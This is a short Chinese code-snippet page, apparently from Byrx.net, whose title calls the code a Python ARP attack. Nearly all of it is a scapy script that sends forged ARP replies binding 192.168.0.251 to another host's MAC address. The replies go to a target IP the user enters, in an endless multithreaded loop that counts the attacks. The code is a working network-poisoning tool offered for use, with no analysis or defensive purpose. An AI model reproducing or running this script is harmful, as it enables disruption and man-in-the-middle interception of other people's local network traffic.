python发送arp攻击,python发送arp,# -*- coding
文章由Byrx.net分享于2019-03-23 10:03:48
python发送arp攻击,python发送arp,# -*- coding
# -*- coding: cp936 -*-from scapy.all import *from threading import Thread,Lock,activeCountBROADCASTMAC = getmacbyip('192.168.0.120')class Loop(Thread): def __init__(self,ip): Thread.__init__(self) self.ip = ip def run(self): global BROADCASTMAC arp = ARP() arp.psrc = '192.168.0.251' arp.hwsrc = BROADCASTMAC arp.pdst = self.ip arp.op = 2 sr1(arp,verbose = 0,retry = 0,timeout = 3)class Main(Thread): def __init__(self,ip): Thread.__init__(self) self.ip = ip def run(self): limit = 100 total = 0 while True: if activeCount() < limit: Loop(self.ip).start() total = total + 1 print '目前已进行了ARP攻击的次数为:'+str(total)if __name__ == '__main__': ip = raw_input('请输入要进行ARP攻击的机器IP:') Main(ip = ip).start()#该片段来自于http://byrx.net
评论关闭